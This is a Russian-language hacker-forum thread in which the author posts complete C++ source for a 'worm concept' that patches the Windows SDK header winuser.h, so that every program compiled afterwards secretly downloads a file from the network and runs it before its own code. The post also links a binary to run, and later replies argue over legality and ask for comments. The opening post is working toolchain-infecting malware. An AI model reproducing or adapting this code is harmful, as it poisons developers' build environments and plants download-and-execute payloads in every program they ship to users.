концепт червя под VisualStudio2008

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by sn0w, 14 Jan 2010.

  1. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,290
    Reputations:
    327
    вот решил погимориться и наваял. правда это не совсем червь пока - просто дроппер, суть заключена в том что в стандартные хидеры SDK добавляется код download & exec, переназначается точка входа и любая далее написанная прога (после заражения) в данной версии будет сливать шапку mail.ru и только потом работать сама.
    правда сей стафф не попрет если гдето в проге есть переназначение /ENTRY.

    кто хочет затестить - запускаем бинарник ( http://www.rapidshare.ru/1332796 ) далее пробуем пересобрать любой прожект (кроме длл атл и консоли)
    при удачном исходе - в папке проге будет появляться хтмл файл.

    предлагаю тему в разработку в целях обучения квайнкодингу - для самогенерации)

    Code:
    /*************************************************/
    /*                                               */
    /*  visual studio 2008 C++ worm concept by sn0w  */
    /*   copyright (c) 2010, antichat.ru community   */
    /*                                               */
    /*************************************************/
    
    /****** for educational purposes only ******/
    /***** лишь в ознакомительных целях *****/
    
    // стандартные инклуды, объединение секций, оптимизация и назначение точки входа
    // чтобы не использовать C-Runtime
    #include <windows.h>
    #pragma optimize("gsy", on) 
    #pragma comment(linker, "/MERGE:.rdata=.data")
    #pragma comment(linker,"/MERGE:.text=.data")
    #pragma comment(linker,"/SECTION:.data,ERW")
    #pragma comment(linker, "/ENTRY:WinMain")
    
    // какбы сократил разделитель строк для записи в файл
    #define CRLF	"\r\n"
    
    // массив, содержащий код который будет записан в winuser.h
    char dev_c0de[] = 
    "#ifndef _CONSOLE"CRLF   // #ifndef - то что не объявлено, те мы будем использовать наш код
    "#ifndef _USRDLL"CRLF	// только в тех случаях, когда - это не консоль, не длл, не атл и не отладочная версия
    "#ifndef _ATL_DLL"CRLF
    "#ifndef _DEBUG"CRLF
    "#pragma once"CRLF	// включаем заголовки единожды, чтобы не было палева и конфликтов
    "#ifndef _WINREG_"CRLF
    "#include \"winreg.h\""CRLF // это лишнее, поскольку реестром не юзаемся (предидущие версии)
    "#endif"CRLF
    "#ifndef _WININET_"CRLF	// 
    "#include \"wininet.h\""CRLF // ужно для функций download
    "#endif"CRLF
    "#pragma comment(lib,\"wininet\")"CRLF // тут мы подключаем вининет для реализации скачки
    "#pragma comment(linker, \"/ENTRY:crtinit12\")"CRLF // тут перенаправляем точку входа в программе (1st goal)
    // т.о. вместо оригинальной, мы замещаем ее своей, которая будет вызвана ранее чем startup код
    "extern \"C\" void __cdecl WinMainCRTStartup(void);"CRLF // это ссылка на юзерскую WinMain
    "extern \"C\" void __cdecl __security_init_cookie(void);"CRLF // а это - не преинит, обеспечивающий обработку исключений
    //////////////////////////////////////////////////////////////////////////
    // эта функция осуществляет скачку и запуск файла с инета
    "void call_drop_()"CRLF
    "{"CRLF
    "LPCSTR szAccept[] = {\"*/*\", NULL};"CRLF
    "LPCSTR szUserAgent = \"Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3\";"CRLF
    
    "HANDLE hheap = GetProcessHeap();"CRLF
    
    "HINTERNET hInternet = InternetOpen(szUserAgent, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL,0);"CRLF
    
    "DWORD flags = INTERNET_FLAG_RELOAD | INTERNET_FLAG_PRAGMA_NOCACHE;"CRLF
    "HINTERNET hConnect = InternetConnect(hInternet, \"mail.ru\", 80, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);"CRLF
    "HINTERNET hRequest = HttpOpenRequest(hConnect, \"GET\", \"/\", NULL, NULL, szAccept, flags, 0);"CRLF
    
    "HttpSendRequest(hRequest, 0, 0, NULL, 0);"CRLF
    
    "LPVOID	outbuff = HeapAlloc(hheap, HEAP_ZERO_MEMORY, 4096);"CRLF
    "LPVOID	p = outbuff;"CRLF
    
    "DWORD size = 0, curr = 0;"CRLF
    
    "while(InternetReadFile(hRequest, p, 4096, &curr)==TRUE && curr !=0){"CRLF
    "size += curr;"CRLF
    "outbuff = HeapReAlloc(hheap, 0, outbuff, size + 4096);"CRLF
    "p = (LPVOID)((DWORD)outbuff+size);}"CRLF
    
    
    "InternetCloseHandle(hRequest);"CRLF
    "InternetCloseHandle(hConnect);"CRLF
    "InternetCloseHandle(hInternet);"CRLF
    
    "#define F_NAME	\"head.html\""CRLF
    "HANDLE hfile = CreateFileA(F_NAME, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS,0, NULL);"CRLF
    "WriteFile(hfile, outbuff, size, &size, NULL);"CRLF
    "CloseHandle(hfile);"CRLF
    "HeapFree(hheap,0 ,outbuff);"CRLF
    "WinExec(F_NAME, SW_SHOWNORMAL);"CRLF
    "Sleep(2000);"CRLF
    "//DeleteFile(F_NAME);"CRLF
    "}"CRLF
    //////////////////////////////////////////////////////////////////////////
    // это как говорилось - тело редиректа. при запуске сперва будут отработаны именно эти инструкции
    "void APIENTRY crtinit12(void)"CRLF
    "{"CRLF
    "call_drop_();"CRLF // вызываем нащ дроппер
    "__security_init_cookie();"CRLF // инициализируем систему исключений
    "WinMainCRTStartup();"CRLF  // вызываем оригинальную программу
    "}"CRLF
    //////////////////////////////////////////////////////////////////////////
    "#endif"CRLF
    "#endif"CRLF
    "#endif"CRLF
    "#endif"CRLF
    "#endif /* !_WINUSER_ */"CRLF;
    /////////////////////////////////////////////////////////////
    
    // подпрограмма установки:
    //
    // ищем в реестре установлена или не т СДК (признак наличия визуал студии)
    //
    void setup_me()
    {
    	HKEY hk;
    	char szDataBuf[256];
    	char sz_winuser_h[256];
    	DWORD dwSize;
    
    	if(RegOpenKey(HKEY_CURRENT_USER, "software\\microsoft\\microsoft sdks\\windows", &hk)!=ERROR_SUCCESS)
    		return; // abort, no sdk available, or no approp rights
    
    	dwSize = 256;
    	if(RegQueryValueEx(hk, "CurrentInstallFolder", NULL, NULL, (LPBYTE)szDataBuf, &dwSize)!=ERROR_SUCCESS){
    		RegCloseKey(hk);
    		return; // abort, couldnt retrieve sdk path
    	}
    	RegCloseKey(hk);
    
    	// да, она есть, теперь формируем полный путь к winuser.h
    
    	lstrcpy(sz_winuser_h, szDataBuf);
    	lstrcat(sz_winuser_h, "include\\winuser.h");
    
    	// 2. Now open winuser.h and write our code
    	HANDLE hwinh = CreateFileA(sz_winuser_h, GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SH  ARE_WRITE,
    		0,OPEN_EXISTING, 0, NULL);
    
    	if(hwinh == INVALID_HANDLE_VALUE)
    		return; // cant open
    
    	// да он есть, открыли, и проецируем в память для удобства
    
    	HANDLE hmap = CreateFileMappingA(hwinh, 0, PAGE_READWRITE, 0, 462759, 0);
    
    	if(hmap == NULL){
    		CloseHandle(hwinh);
    		return; // cant map
    	}
    
    	LPVOID lpmem = MapViewOfFile(hmap,FILE_MAP_ALL_ACCESS,0,0,0);
    
    	if(lpmem == NULL){
    		CloseHandle(hmap);
    		CloseHandle(hwinh);
    		return;
    	} // cant map
    
    	LPBYTE bytes = (LPBYTE)lpmem;
    
    	// теперь проверяем, заражен ли он уже? признак - 6й байт файла - точка
    
    	// check watermark
    	if(bytes[5]=='.'){ // already infected
    		UnmapViewOfFile(lpmem);
    		CloseHandle(hmap);
    		CloseHandle(hwinh);
    		return; // уже заражен
    	}
    
    	// продолжаем работу, - маркируем как инфицированный
    
    	// mark as infected and write code
    	bytes[5] = '.';
    
    	// а теперь едем в конец файла и сдвигаемся назад до символа #
    	// для того чтобы найти последнюю #endif и вписаться за ней
    	//roll to the end (zeroes)
    	char *edittarget;
    	DWORD *fast_roll = (LPDWORD)bytes;
    	while(*fast_roll!=0)fast_roll+=sizeof(DWORD);
    
    	edittarget = (char*)fast_roll+4;
    	while(*edittarget!='#')edittarget--;
    
    	// нашли, и теперь полностью переписываем туда наш массив с девкодом
    	// now finally write stuff
    	for(int i=0; i< sizeof(dev_c0de); i++)
    		edittarget[i] = dev_c0de[i];
    
    	UnmapViewOfFile(lpmem);
    	CloseHandle(hmap);
    	CloseHandle(hwinh);
    
    	// инфицирование завершено
    }
    
    int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
    {
    	setup_me();
    	return 0;
    }
    
    
     
    #1 sn0w, 14 Jan 2010
    Last edited: 15 Jan 2010
    5 people like this.
  2. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,290
    Reputations:
    327
    в идеале - ога)
     
  3. Gar|k

    Gar|k Moderator

    Joined:
    20 Mar 2009
    Messages:
    1,166
    Likes Received:
    266
    Reputations:
    82
    УУУ ЗЛО ст 273 УК РФ до 7 лет лишения свободы.

    Это каким надо быть какашкой, что бы пакостить братьям программистам...
     
    _________________________
  4. Retimiled

    Retimiled Banned

    Joined:
    23 Dec 2009
    Messages:
    110
    Likes Received:
    17
    Reputations:
    0
    да манифест хакера просто отдыхает!

    ... теперь скрипткидисы смогут программерам портить жизть... маладес!


    тока нах... программу делать если все то же самое делается и при ручном вводе в заголовочный файл?

    ... не порнимаю ничего в мотивации написания программ которые только пишут в другой файл! То в host теперь в винузерхиадер.... это чего типа хеллоу ворлд?
     
    #4 Retimiled, 14 Jan 2010
    Last edited: 14 Jan 2010
  5. spider-intruder

    spider-intruder Elder - Старейшина

    Joined:
    9 Dec 2005
    Messages:
    700
    Likes Received:
    339
    Reputations:
    37
    Молодец! Не слушай этих ....
     
  6. Retimiled

    Retimiled Banned

    Joined:
    23 Dec 2009
    Messages:
    110
    Likes Received:
    17
    Reputations:
    0
    да я за !!!

    просто хеллоуворлдом попахивает.... всего то нужно было сказать пишу код в винюзер.хы 8))))

    ... вот новичкам ... как пишется в другой файл !

    А чего туда пишется .... хеллоу ворлд как скачать файл по http-Ы !!!

    2 хеллоу ворлда на одну программу ... не перебор?

    или вот теперь хеллоу ворлдщики смогут программерам жизть испортить? 8)) Оптимисты вы однако!
     
    #6 Retimiled, 14 Jan 2010
    Last edited: 14 Jan 2010
  7. Gar|k

    Gar|k Moderator

    Joined:
    20 Mar 2009
    Messages:
    1,166
    Likes Received:
    266
    Reputations:
    82
    Nightmarе загнул ты про "илиты". Обладание высоким рейтингом на форуме, не говорит о том что этот человек действительно гуру. Вася может быть техническим директором крупной конторы зарегавшимся здесь ради одного двух комментариев и то что у него рейтинг 0 и 4 сообщения на форуме не говорит что он нуб )

    Ну, а своё мнение я уже говорил. Подло это своим товарищям портить жизнь.
     
    _________________________
  8. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,290
    Reputations:
    327
    ну все, полетели тухлые яйца и помидоры)
     
    1 person likes this.
  9. Retimiled

    Retimiled Banned

    Joined:
    23 Dec 2009
    Messages:
    110
    Likes Received:
    17
    Reputations:
    0
    2 snow
    ... ну как бЭ .... это не помидоры! Твой код arp сканера на который почему то никто не обратил внимания действительно ВЕШЬЬЬЬЬ....(пусть и с ошибками, но это лишь путь для вдумчивого) но на античате западлостроение (дешевая слава срипткидису спать не дает) пользуется спросом и вот уже и программеры пишут коньюктурные приложения!


    чтоли... как пела Шапокляк "хорошими делами прославиться низяяяяяя!" :D
     
    #9 Retimiled, 14 Jan 2010
    Last edited: 14 Jan 2010
  10. cheater_man

    cheater_man Member

    Joined:
    13 Nov 2009
    Messages:
    651
    Likes Received:
    44
    Reputations:
    7
    ТС коменты к сорсу напиши. А то чет мне кажется это не твоя работа.
     
  11. gold-goblin

    gold-goblin Elder - Старейшина

    Joined:
    26 Mar 2007
    Messages:
    917
    Likes Received:
    174
    Reputations:
    3
    cheater_man
    Извеняюсь, я в угаре.....
    sn0w
    Отлично, но вот изменения при помощи квайна не хватает =(
     
  12. оlbaneс

    оlbaneс Moderator

    Joined:
    5 Nov 2007
    Messages:
    1,374
    Likes Received:
    1,092
    Reputations:
    356
    опять 25. когда начнем код комментить?
    тому кто код понимает интересно не будет => выкладывать не нужно.
    а кто слабо понимает как ему без комментов разобраться?
     
    _________________________
  13. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,290
    Reputations:
    327
    по просьбам трудящихся, комменты в старте добавляю)
     
  14. desTiny

    desTiny Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    1,006
    Likes Received:
    444
    Reputations:
    94
    приступай к WDK
     
  15. оlbaneс

    оlbaneс Moderator

    Joined:
    5 Nov 2007
    Messages:
    1,374
    Likes Received:
    1,092
    Reputations:
    356
    ты, наверное, даже не представляешь как коменты облегчают жизнь.
    т.е. я читал и фантазировал одно, а коменты показали, что понимал не правильно. ферштейн? )
     
    _________________________
  16. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,290
    Reputations:
    327
    я по немецки не шпрехаю))